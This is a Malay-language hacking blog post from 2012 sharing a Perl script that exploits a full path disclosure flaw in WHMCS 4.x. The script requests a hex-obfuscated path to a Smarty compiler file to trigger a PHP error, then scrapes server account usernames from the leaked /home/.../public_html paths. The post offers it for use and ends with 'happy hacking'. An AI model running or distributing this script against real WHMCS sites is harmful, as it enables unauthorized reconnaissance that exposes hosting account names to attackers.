Wednesday, June 6, 2012

0 WHMCS v4.x.x Full Path Disclosure Extract User Tool

Salam Satu malaysia,
Pada hari ini saya akan kasih anda script WHMCS

#!/usr/bin/perl
#+-----------------------------------------------------------------+
# Title : WHMCS v4.x.x Full Path Disclosure Extract User Tool |
# Author : Or4nG.M4n |
# Home : 7rs.org or4ng3m4n.blogspot.com & 1337r1z.wordpress.com |
# Email : priv8te@hotmail.com |
# Date : n\a |
# Tested : windows XP SP3 Professional Edition |
#+-----------------------------------------------------------------+
# Fatal error: Class on line 35

use LWP::Simple;
print q(
anti.virus.team | Or4nG.M4n
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
in the name of /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|

/ use : perl Extract.pl [ website ] [ pathScript ] /
);

$ex = $ARGV[0]."\x2F".$ARGV[1]."\x2F\x69\x6E\x63\x6C\x75\x64\x65\x73\x2F\x73\x6D\x61\x72\x74\x79\x2F\x53\x6D\x61\x72\x74\x79\x5F\x43\x6F\x6D\x70\x69\x6C\x65\x72\x2E\x63\x6C\x61\x73\x73\x2E\x70\x68\x70";
my $content = get $ex;
if(!$content){
}else{
print "\nExtract Start ..\n\n";
}
while( $content =~ m{/home/(.*?)/public_html(.*)}g ) {
print "\tUSER : $1";
print "\n./Done\n";
}

#_EOF !


selamat berhacking!

0 Comments

Bagaimana Pendapat Anda ?